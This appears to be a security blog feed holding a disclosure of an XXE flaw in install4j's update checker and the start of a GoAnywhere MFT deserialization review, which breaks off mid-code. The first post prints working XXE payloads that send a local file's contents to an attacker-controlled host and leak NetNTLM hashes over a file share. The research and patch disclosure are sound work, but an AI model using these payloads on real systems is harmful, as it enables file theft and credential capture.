<p>As you will read in the following text, I did not manage to pwn the Prosys product properly but instead found a vulnerability in <strong><a href="https://www.ej-technologies.com/products/install4j/overview.html">install4j</a></strong> which could presumably be applied in a lot of other software.</p>

<blockquote>
  <p>install4j is a powerful multi-platform Java installer builder that generates native installers and application launchers for Java applications.</p>
</blockquote>

<p>Indeed, this installer software framework seems to be used <strong>a lot</strong> (e.g. BurpSuite :-P) which I wasn’t aware of in the beginning.
This vulnerability <strong>is not applicable to Prosys OPC UA Simulation Server</strong> unfortunately except with e.g. a badly configured SSL Inspection product in your company.
Nevertheless, the Proof-of-Concept (PoC) exploitation will be shown against exactly this because it was my initial target. So let’s begin.</p>

<h1 id="vulnerability-discovery">Vulnerability Discovery</h1>

<p>The latest version <strong>10.0.4</strong> (and former versions) of <strong>install4j</strong> is vulnerable to a XML External Entity (XXE) attack. Products using install4j with its <strong>(automatic) update</strong> feature could be exploited,
if connections to the <em>update server</em> are successfully controlled in some way. If any affected product triggers an update check (scheduled or manually), the update server responds with a <em>XML file</em> containing information about available software versions with
attributes pointing to the newest version, file hashes for verification etc. This delivered XML content is read by the client system with the product installed and <strong>parsed insecurely</strong>.</p>

<p>The class <code class="language-plaintext highlighter-rouge">com/install4j/runtime/installer/helper/XmlHelper</code> implements the method <code class="language-plaintext highlighter-rouge">public static Document parseFile(final File file)</code> which seems to be the primary entrypoint for (auto) update checks. The following code outline shows the full path to the vulnerable sink.</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="kd">static</span> <span class="nc">Document</span> <span class="nf">parseFile</span><span class="o">(</span><span class="kd">final</span> <span class="nc">File</span> <span class="n">file</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">IOException</span> <span class="o">{</span>
    <span class="k">return</span> <span class="nf">parseFile</span><span class="o">(</span><span class="n">file</span><span class="o">,</span> <span class="kc">false</span><span class="o">,</span> <span class="kc">false</span><span class="o">);</span> <span class="c1">// [1]</span>
<span class="o">}</span>
<span class="o">-----------</span>
<span class="kd">public</span> <span class="kd">static</span> <span class="nc">Document</span> <span class="nf">parseFile</span><span class="o">(</span><span class="kd">final</span> <span class="nc">File</span> <span class="n">file</span><span class="o">,</span> <span class="kd">final</span> <span class="kt">boolean</span> <span class="n">validating</span><span class="o">,</span> <span class="kd">final</span> <span class="kt">boolean</span> <span class="n">downloadExternalEntities</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">IOException</span> <span class="o">{</span>
    <span class="k">return</span> <span class="nf">parse</span><span class="o">(</span><span class="k">new</span> <span class="nc">InputSource</span><span class="o">(</span><span class="n">file</span><span class="o">.</span><span class="na">toURI</span><span class="o">().</span><span class="na">toASCIIString</span><span class="o">()),</span> <span class="n">validating</span><span class="o">,</span> <span class="n">downloadExternalEntities</span><span class="o">);</span> <span class="c1">// [2]</span>
<span class="o">}</span>
<span class="o">-----------</span>
<span class="kd">private</span> <span class="kd">static</span> <span class="nc">Document</span> <span class="nf">parse</span><span class="o">(</span><span class="kd">final</span> <span class="nc">InputSource</span> <span class="n">inputSource</span><span class="o">,</span> <span class="kd">final</span> <span class="kt">boolean</span> <span class="n">validating</span><span class="o">,</span> <span class="kd">final</span> <span class="kt">boolean</span> <span class="n">downloadExternalEntities</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">IOException</span> <span class="o">{</span>
    <span class="kd">final</span> <span class="nc">DocumentBuilderFactory</span> <span class="n">documentBuilderFactory</span> <span class="o">=</span> <span class="n">createDocumentBuilderFactory</span><span class="o">();</span> <span class="c1">// [3]</span>
	<span class="o">-----------</span> <span class="cm">/* excerpt for the method called in [3] */</span>
			<span class="kd">public</span> <span class="kd">static</span> <span class="nc">DocumentBuilderFactory</span> <span class="nf">createDocumentBuilderFactory</span><span class="o">()</span> <span class="o">{</span>
				<span class="k">try</span> <span class="o">{</span>
					<span class="k">return</span> <span class="nc">DocumentBuilderFactory</span><span class="o">.</span><span class="na">newInstance</span><span class="o">(</span><span class="s">"com.sun.org.apache.xerces.internal.jaxp.DocumentBuilderFactoryImpl"</span><span class="o">,</span> <span class="kc">null</span><span class="o">);</span> <span class="c1">// [4]</span>
				<span class="o">}</span>
				<span class="k">catch</span> <span class="o">(</span><span class="kd">final</span> <span class="nc">Throwable</span> <span class="n">t</span><span class="o">)</span> <span class="o">{</span>
					<span class="k">return</span> <span class="nc">DocumentBuilderFactory</span><span class="o">.</span><span class="na">newInstance</span><span class="o">();</span>
				<span class="o">}</span>
			<span class="o">}</span>
	<span class="o">-----------</span>
    <span class="n">documentBuilderFactory</span><span class="o">.</span><span class="na">setValidating</span><span class="o">(</span><span class="n">validating</span><span class="o">);</span>
    <span class="nc">DocumentBuilder</span> <span class="n">documentBuilder</span><span class="o">;</span>
    <span class="k">try</span> <span class="o">{</span>
        <span class="n">documentBuilder</span> <span class="o">=</span> <span class="n">documentBuilderFactory</span><span class="o">.</span><span class="na">newDocumentBuilder</span><span class="o">();</span> <span class="c1">// [5]</span>
    <span class="o">}</span>
    <span class="k">catch</span> <span class="o">(</span><span class="kd">final</span> <span class="nc">ParserConfigurationException</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
        <span class="k">throw</span> <span class="nf">createIoException</span><span class="o">(</span><span class="n">e</span><span class="o">);</span>
    <span class="o">}</span>
    <span class="k">if</span> <span class="o">(</span><span class="n">validating</span><span class="o">)</span> <span class="o">{</span>
        <span class="n">documentBuilder</span><span class="o">.</span><span class="na">setErrorHandler</span><span class="o">(</span><span class="k">new</span> <span class="nc">ErrorHandler</span><span class="o">()</span> <span class="o">{</span>
            <span class="nd">@Override</span>
            <span class="kd">public</span> <span class="kt">void</span> <span class="nf">error</span><span class="o">(</span><span class="kd">final</span> <span class="nc">SAXParseException</span> <span class="n">exception</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">SAXException</span> <span class="o">{</span>
                <span class="n">log</span><span class="o">(</span><span class="n">exception</span><span class="o">);</span>
            <span class="o">}</span>
            
            <span class="nd">@Override</span>
            <span class="kd">public</span> <span class="kt">void</span> <span class="nf">fatalError</span><span class="o">(</span><span class="kd">final</span> <span class="nc">SAXParseException</span> <span class="n">exception</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">SAXException</span> <span class="o">{</span>
                <span class="n">log</span><span class="o">(</span><span class="n">exception</span><span class="o">);</span>
            <span class="o">}</span>
            
            <span class="nd">@Override</span>
            <span class="kd">public</span> <span class="kt">void</span> <span class="nf">warning</span><span class="o">(</span><span class="kd">final</span> <span class="nc">SAXParseException</span> <span class="n">exception</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">SAXException</span> <span class="o">{</span>
            <span class="o">}</span>
        <span class="o">});</span>
    <span class="o">}</span>
    <span class="k">if</span> <span class="o">(!</span><span class="n">downloadExternalEntities</span><span class="o">)</span> <span class="o">{</span> <span class="c1">// [6]</span>
        <span class="n">documentBuilder</span><span class="o">.</span><span class="na">setEntityResolver</span><span class="o">((</span><span class="n">publicId</span><span class="o">,</span> <span class="n">systemId</span><span class="o">)</span> <span class="o">-&gt;</span> <span class="o">{</span>
            <span class="k">if</span> <span class="o">(</span><span class="n">systemId</span><span class="o">.</span><span class="na">startsWith</span><span class="o">(</span><span class="s">"http:/"</span><span class="o">)</span> <span class="o">||</span> <span class="n">systemId</span><span class="o">.</span><span class="na">startsWith</span><span class="o">(</span><span class="s">"https:/"</span><span class="o">))</span> <span class="o">{</span> <span class="c1">// [7]</span>
                <span class="k">new</span> <span class="nf">InputSource</span><span class="o">(</span><span class="k">new</span> <span class="nc">StringReader</span><span class="o">(</span><span class="s">"&lt;?xml version=\"1.0\" encoding=\"UTF-8\"?&gt;"</span><span class="o">));</span>
                <span class="k">return</span><span class="o">;</span>
            <span class="o">}</span>
            <span class="k">else</span> <span class="o">{</span>
                <span class="k">return</span> <span class="kc">null</span><span class="o">;</span>
            <span class="o">}</span>
        <span class="o">});</span>
    <span class="o">}</span>
    <span class="k">try</span> <span class="o">{</span>
        <span class="k">return</span> <span class="n">documentBuilder</span><span class="o">.</span><span class="na">parse</span><span class="o">(</span><span class="n">inputSource</span><span class="o">);</span> <span class="c1">// [8]</span>
    <span class="o">}</span>
    <span class="k">catch</span> <span class="o">(</span><span class="kd">final</span> <span class="nc">SAXException</span> <span class="n">e2</span><span class="o">)</span> <span class="o">{</span>
        <span class="k">throw</span> <span class="nf">createIoException</span><span class="o">(</span><span class="n">e2</span><span class="o">);</span>
    <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>
<p>At <code class="language-plaintext highlighter-rouge">[1]</code> a <code class="language-plaintext highlighter-rouge">parseFile</code> method is called with a <code class="language-plaintext highlighter-rouge">File</code> object containing the response of the update server. This later calls a <code class="language-plaintext highlighter-rouge">parse</code> method <code class="language-plaintext highlighter-rouge">[2]</code> with the parameter <code class="language-plaintext highlighter-rouge">downloadExternalEntities = false</code> from the previous call.
At <code class="language-plaintext highlighter-rouge">[3]</code>  a <code class="language-plaintext highlighter-rouge">DocumentBuilderFactory</code> is created with help of <code class="language-plaintext highlighter-rouge">com.sun.org.apache.xerces.internal.jaxp.DocumentBuilderFactoryImpl</code> at <code class="language-plaintext highlighter-rouge">[4]</code>. Then the <code class="language-plaintext highlighter-rouge">DocumentBuilder</code> gets instantiated at <code class="language-plaintext highlighter-rouge">[5]</code>.
It seems some default XXE mitigations were put into place by the <code class="language-plaintext highlighter-rouge">downloadExternalEntities</code> member being set to <code class="language-plaintext highlighter-rouge">false</code> as mentioned above. This will lead us into the <code class="language-plaintext highlighter-rouge">if</code> branch at <code class="language-plaintext highlighter-rouge">[6]</code>, checking for <code class="language-plaintext highlighter-rouge">PUBLIC</code> and <code class="language-plaintext highlighter-rouge">SYSTEM</code> identifiers in the XML being parsed.
Even though <code class="language-plaintext highlighter-rouge">startsWith("http:/")</code> and <code class="language-plaintext highlighter-rouge">startsWith("https:/")</code> checks at <code class="language-plaintext highlighter-rouge">[7]</code> should take care of preventing disallowed <strong>(external) entities and document type declarations</strong>, referencing a remote <strong>DTD</strong> file then being fetched with a HTTP request,
this can be easily bypassed by e.g. using <strong>UPPERCASE</strong> protocol handler definitions such as <code class="language-plaintext highlighter-rouge">SYSTEM "HTTP://ATTACKERSERVER/BAD.DTD"</code>. Finally, the dangerous  sink at <code class="language-plaintext highlighter-rouge">[8]</code> is called. Additionally other file protocol handlers such as <code class="language-plaintext highlighter-rouge">file://</code> or <code class="language-plaintext highlighter-rouge">jar://</code> are not taken into account, yet. Note that the <code class="language-plaintext highlighter-rouge">EntityResolver</code> protection given by <a href="https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html#no-op-entityresolver">OWASP XXE Mitigations</a> is more
restrictive and should have been the way to go.</p>

<h1 id="poc-based-on-prosys-opc-ua-simulation-server">PoC based on “Prosys OPC UA Simulation Server”</h1>

<p>Since this vulnerability in install4j was found during a security review on another product, the proof-of-concept (PoC) exploitation will be shown for the <strong><a href="https://www.prosysopc.com/products/opc-ua-simulation-server/">Prosys OPC UA Simulation Server</a></strong> on <strong>Windows</strong> (it was the first download link tbh).
install4j takes care of proper TLS/SSL handling + verification of the update server in <code class="language-plaintext highlighter-rouge">com/install4j/runtime/installer/helper/content/UrlConnectionWrapper</code>. But in general, several cases allow an easy hijack of the update server communication:</p>
<ul>
  <li>The product chooses to use HTTP instead of HTTPS connections</li>
  <li>The <code class="language-plaintext highlighter-rouge">acceptAllCertificates</code> attribute is set to <code class="language-plaintext highlighter-rouge">true</code> in the install4j configuration file such that TLS/SSL verification gets deactivated with help of the install4j method <code class="language-plaintext highlighter-rouge">private Runnable acceptAllCertificates()</code></li>
  <li>A central TLS/SSL inspection component would break the trusted chain of verification depending on its (mis)configuration (already seen “in-the-wild” :-P)</li>
  <li>There exist other cases but this is not the main purpose of this blog post to list them all</li>
</ul>

<p>Note that this hijacking part is not a vulnerability in install4j itself but depends on certain configurations of install4j and server infrastructure on the affected product side, respectively. Nevertheless, this is a valid attack vector and should not lead to a vulnerable sink indeed existing in install4j: the XXE described above.
Hijacking requests/responses is often an easy task for attackers today by impersonating the update server. In our case, a Windows server is attacked first with help of the tool <em><a href="https://github.com/dirkjanm/mitm6">mitm6</a></em>. Windows prefers IPv6 configurations over IPv4 which means that DHCPv6 questions
into the local network could be answered by a malicious instance, allowing to hijack the DNS server configuration on Windows. Then the update server hostname could be set to the attacker machine IP address so that afterwards all traffic between the client and update server
flows in an attacker-controlled manner. There are other attacks such as ARP-poisoning etc. which would be valid attack vectors for installations on *nix operating systems, too.</p>

<p>In the case of <em>Prosys OPC UA Simulation Server</em>, the update server is defined in the file <code class="language-plaintext highlighter-rouge">C:\Program Files\ProsysOPC\Prosys OPC UA Simulation Server\.install4j\i4jparams.conf</code> to be 
<code class="language-plaintext highlighter-rouge">&lt;variable name="sys.updatesUrl" value="https://downloads.prosysopc.com/opcua/updates/SimulationServer/v5/updates.xml" /&gt;</code>. So the DNS entry on the Windows server will be modified such that the hostname <code class="language-plaintext highlighter-rouge">downloads.prosysopc.com</code> points to the IP address of the attacker machine .
If the Prosys OPC UA Simulation server now checks for updates automatically, a request to <code class="language-plaintext highlighter-rouge">https://downloads.prosysopc.com/opcua/updates/SimulationServer/v5/updates.xml</code> will be sent. Note that the <strong>Prosys product is not vulnerable</strong> to common ways of DNS hijacking
such that a fake TLS/SSL inspection component has to be introduced for this PoC to work. <strong>Other products using install4j might indeed be exploitable</strong> this way without any special pre-conditions. Pretty sure you can find one or two.</p>

<p>The following XML content will be delivered then by our attacker server:</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?xml version="1.0" encoding="utf-8"?&gt;</span>
<span class="cp">&lt;!DOCTYPE data SYSTEM "HTTP://downloads.prosysopc.com/XXE.dtd"&gt;</span>
<span class="nt">&lt;data&gt;</span><span class="ni">&amp;send;</span><span class="nt">&lt;/data&gt;</span>
<span class="nt">&lt;updateDescriptor</span> <span class="na">baseUrl=</span><span class="s">""</span><span class="nt">&gt;</span>
  <span class="nt">&lt;entry</span> <span class="na">targetMediaFileId=</span><span class="s">"1116"</span> <span class="na">updatableVersionMin=</span><span class="s">""</span> <span class="na">updatableVersionMax=</span><span class="s">""</span> <span class="na">fileName=</span><span class="s">"prosys-opc-ua-simulation-server-windows-x86-5.4.2-129.exe"</span> <span class="na">newVersion=</span><span class="s">"5.4.2-129"</span> <span class="na">newMediaFileId=</span><span class="s">"1116"</span> <span class="na">fileSize=</span><span class="s">"90175568"</span> <span class="na">md5Sum=</span><span class="s">"45b8dddf7e664d044a8441730d50a01b"</span> <span class="na">sha256Sum=</span><span class="s">"cb5e54b44b2b206be483cbf0d05d5acf91f23a59b9be407576828b81cf204ebf"</span> <span class="na">bundledJre=</span><span class="s">"windows-x86-17.0.5.tar.gz"</span> <span class="na">archive=</span><span class="s">"false"</span> <span class="na">singleBundle=</span><span class="s">"false"</span><span class="nt">&gt;</span>
    <span class="nt">&lt;comment</span> <span class="na">language=</span><span class="s">"en"</span> <span class="nt">/&gt;</span>
  <span class="nt">&lt;/entry&gt;</span>
<span class="c">&lt;!-- ...SNIP... --&gt;</span>
<span class="nt">&lt;/updateDescriptor&gt;</span>
</code></pre></div></div>

<p>The XXE payload can be found at the very beginning:</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?xml version="1.0" encoding="utf-8"?&gt;</span>
<span class="cp">&lt;!DOCTYPE data SYSTEM "HTTP://downloads.prosysopc.com/XXE.dtd"&gt;</span>
<span class="nt">&lt;data&gt;</span><span class="ni">&amp;send;</span><span class="nt">&lt;/data&gt;</span>
</code></pre></div></div>

<p>This will fetch the <code class="language-plaintext highlighter-rouge">DTD</code> file remotely from the same update server with the following content:</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;!ENTITY % file SYSTEM "file:///C:/Users/user/Desktop/secret.txt"&gt;</span>
<span class="cp">&lt;!ENTITY % all "&lt;!ENTITY send SYSTEM 'HTTP://downloads.prosysopc.com/%file;'&gt;</span>"&gt;
%all;
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">secret.txt</code> is a PoC file created by me to show that e.g. file content could then be retrieved from the attacked server.</p>

<p><img src="/assets/images/install4j/install4j_2.png" alt="install4j_2.png" /></p>

<p><img src="/assets/images/install4j/install4j_1.png" alt="install4j_1.png" /></p>

<p>Other XXE attack vectors are possible as well. Since this is a Windows system, we could create XXE payloads with <code class="language-plaintext highlighter-rouge">file://</code> protocol handlers. Defining a remote network share could then lead to leakage of hashed Windows server credentials (NetNTLM hash).
These hashes could be cracked (or relayed) and used to directly login into the victim machines etc.</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?xml version="1.0" encoding="utf-8"?&gt;</span>
<span class="cp">&lt;!DOCTYPE data SYSTEM "file:////downloads.prosysopc.com/myshare/file.dll"&gt;</span>
<span class="nt">&lt;data&gt;</span><span class="ni">&amp;send;</span><span class="nt">&lt;/data&gt;</span>
</code></pre></div></div>

<p><img src="/assets/images/install4j/install4j_3.png" alt="install4j_3.png" /></p>

<p>There are even more attack vectors by using the <code class="language-plaintext highlighter-rouge">jar://</code> protocol handler, fetching a remote JAR file with attacker-controlled arbitrary file content (it even doesn’t have to be a JAR file). This is a variant of arbitrary file upload and could be used in further exploitation steps, depending on the specific target. For a beautiful chain read <a href="https://www.horizon3.ai/red-team-blog-cve-2022-28219/">this blog post</a> for example.</p>

<p>“Well”, you might say, “if you already control the update server response content, simply deliver a malicious update file”. True but I love <strong>0-click attacks</strong> and
one would have needed user interaction to install the malicious file.</p>

<h1 id="patch-recommendation">Patch Recommendation</h1>

<p>The <code class="language-plaintext highlighter-rouge">EntityResolver</code> part will be modified in version <strong>10.0.5</strong> shortly, i.e. for any protocol handler this is a dead end now. Especially worth mentioning, this was my best vendor experience for years. A good start for 2023 after a painful 2022. They answered my “support ticket” within hours and their first response already contained fixing suggestions.</p>]]></content><author><name></name></author><category term="vulns4free" /><summary type="html"><![CDATA[Storyline]]></summary></entry><entry><title type="html">GoAnywhere MFT - A Forgotten Bug</title><link href="/vulns4free/2023/02/06/goanywhere-forgotten.html" rel="alternate" type="text/html" title="GoAnywhere MFT - A Forgotten Bug" /><published>2023-02-06T00:00:00+00:00</published><updated>2023-02-06T00:00:00+00:00</updated><id>/vulns4free/2023/02/06/goanywhere-forgotten</id><content type="html" xml:base="/vulns4free/2023/02/06/goanywhere-forgotten.html"><![CDATA[<h2 id="déjà-vu">Déjà-vu</h2>

<p>It all began with <a href="https://infosec.exchange/@briankrebs/109795710941843934">a toot by Brian Krebs</a> on 2nd February, 2023, providing information on an “On Prem Notification/Technical BulletinFeb 1, 2023”. This advisory was only accessible by registered users, describing a upcoming threat originated from an 0day affecting the file transfer solution product <a href="https://www.goanywhere.com/">GoAnywhere MFT</a>. Nice, because I remembered looking at parts of it years ago: <strong>2021</strong> too be more precise. During my first steps of security code review on GoAnywhere then, I got interested in a clustering message exchange library <a href="https://github.com/belaban/JGroups">JGroups</a> and did some research showing insecure deserialization effects. A “JGroups PoC project” of this work can be found in my <a href="https://github.com/Frycos/JGroupsJChannelPoC">GitHub repository</a>.</p>

<p>Well then, looking at the GoAnywhere security advisory again, there were some temporary mitigations listed. One should modify the web descriptor file <code class="language-plaintext highlighter-rouge">[install_dir]/adminroot/WEB_INF/web.xml</code> and delete a certain Servlet definition with its corresponding URL mapping: <code class="language-plaintext highlighter-rouge">&lt;servlet-class&gt;com.linoma.ga.ui.admin.servlet.LicenseResponseServlet&lt;/servlet-class&gt;</code>. <strong>Wait a minute</strong>: I checked my notes from 2021 and found this.</p>

<p><img src="/assets/images/mft/oldnotes.png" alt="oldnotes" /></p>

<p>Indeed, back in 2021 I already made some notes on a dangerous sink which will become relevant in the blog post. <em>FTAPI</em> mentioned in the snippet above had an <a href="https://web.archive.org/web/20200814001535/https://www.ftapi.com/Release-Notes#collapse_8695">insecure deserialization bug prior to version 4.6.3</a> in a LicenseController class, leading to Remote Code Execution (RCE). This to me was the same kind of bug in GoAnywhere MFT but it was the administration console: I couldn’t find many instances on the Internet in 2021. What I didn’t know: JGroups. So I focused on that and forgot about the other things in my notes…until today (2nd February, 2022).</p>

<p>I could provide a working <a href="https://gist.github.com/Frycos/d7ec4de07123f78cc37d29890dce0313">PoC</a> (compare hash and time of my <a href="https://twitter.com/frycos/status/1621272883069591554">tweet</a>) to my teammates within hours on the same day to protect our clients first. But now let’s go the Code Review part.</p>

<h2 id="code-review">Code Review</h2>

<p>In my case, I chose the Windows installation to get the latest version <strong>7.1.1</strong> at that time. It doesn’t really matter which operating system since it’s all based on Java. The installation location: <code class="language-plaintext highlighter-rouge">C:\Program Files\HelpSystems\GoAnywhere</code>. The <code class="language-plaintext highlighter-rouge">web.xml</code> from the security advisory in the <code class="language-plaintext highlighter-rouge">adminroot</code> directory indeed contained the Servlet definition and URL mapping.</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;servlet&gt;</span>
    		
    <span class="nt">&lt;servlet-name&gt;</span>License Response Servlet<span class="nt">&lt;/servlet-name&gt;</span>
    		
    <span class="nt">&lt;servlet-class&gt;</span>com.linoma.ga.ui.admin.servlet.LicenseResponseServlet<span class="nt">&lt;/servlet-class&gt;</span>
    		
    <span class="nt">&lt;load-on-startup&gt;</span>0<span class="nt">&lt;/load-on-startup&gt;</span>
    	
<span class="nt">&lt;/servlet&gt;</span>
	
<span class="nt">&lt;servlet-mapping&gt;</span>
    		
    <span class="nt">&lt;servlet-name&gt;</span>License Response Servlet<span class="nt">&lt;/servlet-name&gt;</span>
    		
    <span class="nt">&lt;url-pattern&gt;</span>/lic/accept<span class="nt">&lt;/url-pattern&gt;</span>
    	
<span class="nt">&lt;/servlet-mapping&gt;</span>
</code></pre></div></div>

<p>Let’s dive into the code. The <code class="language-plaintext highlighter-rouge">com.linoma.ga.ui.admin.servlet.LicenseResponseServlet</code> extends <code class="language-plaintext highlighter-rouge">HttpServlet</code> as expected. Requests are processed by different standard methods such as <code class="language-plaintext highlighter-rouge">com.linoma.ga.ui.admin.servlet.LicenseResponseServlet.doPost(HttpServletRequest, HttpServletResponse)</code> in our case.</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="kt">void</span> <span class="nf">doPost</span><span class="o">(</span><span class="nc">HttpServletRequest</span> <span class="n">paramHttpServletRequest</span><span class="o">,</span> <span class="nc">HttpServletResponse</span> <span class="n">paramHttpServletResponse</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">ServletException</span><span class="o">,</span> <span class="nc">IOException</span> <span class="o">{</span>
  <span class="nc">String</span> <span class="n">str1</span> <span class="o">=</span> <span class="n">paramHttpServletRequest</span><span class="o">.</span><span class="na">getParameter</span><span class="o">(</span><span class="s">"bundle"</span><span class="o">);</span> <span class="c1">// [1]</span>
  
  <span class="nc">Response</span> <span class="n">response</span> <span class="o">=</span> <span class="kc">null</span><span class="o">;</span>
  
  <span class="k">try</span> <span class="o">{</span>
    <span class="n">response</span> <span class="o">=</span> <span class="nc">LicenseAPI</span><span class="o">.</span><span class="na">getResponse</span><span class="o">(</span><span class="n">str1</span><span class="o">);</span> <span class="c1">// [2]</span>
  <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">Exception</span> <span class="n">exception</span><span class="o">)</span> <span class="o">{</span>
    <span class="no">LOGGER</span><span class="o">.</span><span class="na">error</span><span class="o">(</span><span class="s">"Error parsing license response"</span><span class="o">,</span> <span class="n">exception</span><span class="o">);</span>
    <span class="n">paramHttpServletResponse</span><span class="o">.</span><span class="na">sendError</span><span class="o">(</span><span class="mi">500</span><span class="o">);</span>
  <span class="o">}</span> 
  
  <span class="n">paramHttpServletRequest</span><span class="o">.</span><span class="na">getSession</span><span class="o">().</span><span class="na">setAttribute</span><span class="o">(</span><span class="s">"LicenseResponse"</span><span class="o">,</span> <span class="n">response</span><span class="o">);</span>
	<span class="c1">// ...</span>
</code></pre></div></div>

<p>At <code class="language-plaintext highlighter-rouge">[1]</code> the request parameter <code class="language-plaintext highlighter-rouge">bundle</code> is stored in the String <code class="language-plaintext highlighter-rouge">str1</code> and put into the method call at <code class="language-plaintext highlighter-rouge">[2]</code>. From<code class="language-plaintext highlighter-rouge">com.linoma.license.gen2.LicenseAPI.getResponse(String)</code> we follow further into <code class="language-plaintext highlighter-rouge">com.linoma.license.gen2.LicenseController.getResponse(String)</code>.</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">protected</span> <span class="kd">static</span> <span class="nc">Response</span> <span class="nf">getResponse</span><span class="o">(</span><span class="nc">String</span> <span class="n">paramString</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">BundleException</span><span class="o">,</span> <span class="nc">JAXBException</span> <span class="o">{</span>
  <span class="nc">String</span> <span class="n">str1</span> <span class="o">=</span> <span class="n">getVersion</span><span class="o">(</span><span class="n">paramString</span><span class="o">);</span> <span class="c1">// [3]</span>
  <span class="nc">String</span> <span class="n">str2</span> <span class="o">=</span> <span class="nc">BundleWorker</span><span class="o">.</span><span class="na">unbundle</span><span class="o">(</span><span class="n">paramString</span><span class="o">,</span> <span class="n">getProductKeyConfig</span><span class="o">(</span><span class="n">str1</span><span class="o">));</span>
  <span class="k">return</span> <span class="o">(</span><span class="nc">Response</span><span class="o">)</span><span class="n">inflate</span><span class="o">(</span><span class="n">str2</span><span class="o">,</span> <span class="nc">Response</span><span class="o">.</span><span class="na">class</span><span class="o">);</span>
<span class="o">}</span>
</code></pre></div></div>

<p>First, we step into the method definition at <code class="language-plaintext highlighter-rouge">[3] getVersion</code> in the same class.</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">protected</span> <span class="kd">static</span> <span class="nc">String</span> <span class="nf">getVersion</span><span class="o">(</span><span class="nc">String</span> <span class="n">paramString</span><span class="o">)</span> <span class="o">{</span>
  <span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="n">paramString</span><span class="o">.</span><span class="na">indexOf</span><span class="o">(</span><span class="sc">'$'</span><span class="o">);</span>
  <span class="k">if</span> <span class="o">(</span><span class="n">i</span> <span class="o">&gt;</span> <span class="o">-</span><span class="mi">1</span><span class="o">)</span> <span class="o">{</span>
    <span class="kc">null</span> <span class="o">=</span> <span class="n">paramString</span><span class="o">.</span><span class="na">substring</span><span class="o">(</span><span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="o">);</span>
    <span class="kc">null</span> <span class="o">=</span> <span class="kc">null</span><span class="o">.</span><span class="na">replace</span><span class="o">(</span><span class="s">"\r"</span><span class="o">,</span> <span class="s">""</span><span class="o">);</span>
    <span class="k">return</span> <span class="kc">null</span><span class="o">.</span><span class="na">replace</span><span class="o">(</span><span class="s">"\n"</span><span class="o">,</span> <span class="s">""</span><span class="o">);</span>
  <span class="o">}</span> 
  
  <span class="k">return</span> <span class="s">"1"</span><span class="o">;</span>
<span class="o">}</span>
</code></pre></div></div>

<p>This seems to be a version differentiation of some kind based on the fact if our <code class="language-plaintext highlighter-rouge">bundle</code> parameter contains a <code class="language-plaintext highlighter-rouge">$</code> character or not. Let’s say “no” (we can change our assumptions later any time if needed). <code class="language-plaintext highlighter-rouge">1</code> will be returned then.</p>

<p>Back to our caller and the next code line leads us to another method <code class="language-plaintext highlighter-rouge">BundleWorker.unbundle(paramString, getProductKeyConfig(str1))</code>. <code class="language-plaintext highlighter-rouge">getProductKeyConfig</code> looks like this:</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">private</span> <span class="kd">static</span> <span class="nc">KeyConfig</span> <span class="nf">getProductKeyConfig</span><span class="o">(</span><span class="nc">String</span> <span class="n">paramString</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">BundleException</span> <span class="o">{</span>
  <span class="nc">KeyConfig</span> <span class="n">keyConfig</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">KeyConfig</span><span class="o">();</span>
  <span class="n">inputStream</span> <span class="o">=</span> <span class="kc">null</span><span class="o">;</span>
  <span class="k">try</span> <span class="o">{</span>
    <span class="nc">String</span> <span class="n">str</span> <span class="o">=</span> <span class="s">""</span><span class="o">;</span>
    <span class="k">if</span> <span class="o">(</span><span class="s">"2"</span><span class="o">.</span><span class="na">equals</span><span class="o">(</span><span class="n">paramString</span><span class="o">))</span> <span class="o">{</span> <span class="c1">// [4]</span>
      <span class="n">str</span> <span class="o">=</span> <span class="s">"1"</span><span class="o">;</span>
    <span class="o">}</span>
    
    <span class="n">inputStream</span> <span class="o">=</span> <span class="nc">LicenseController</span><span class="o">.</span><span class="na">class</span><span class="o">.</span><span class="na">getResourceAsStream</span><span class="o">(</span><span class="s">"linomagen2.bcks"</span><span class="o">);</span>
    <span class="nc">ByteArrayOutputStream</span> <span class="n">byteArrayOutputStream</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">ByteArrayOutputStream</span><span class="o">();</span>
    <span class="nc">IOUtils</span><span class="o">.</span><span class="na">copy</span><span class="o">(</span><span class="n">inputStream</span><span class="o">,</span> <span class="n">byteArrayOutputStream</span><span class="o">);</span>
    <span class="n">keyConfig</span><span class="o">.</span><span class="na">setKeyStore</span><span class="o">(</span><span class="n">byteArrayOutputStream</span><span class="o">.</span><span class="na">toByteArray</span><span class="o">());</span>
    
    <span class="n">keyConfig</span><span class="o">.</span><span class="na">setSigningAlias</span><span class="o">(</span><span class="s">"productkey"</span> <span class="o">+</span> <span class="n">str</span><span class="o">);</span>
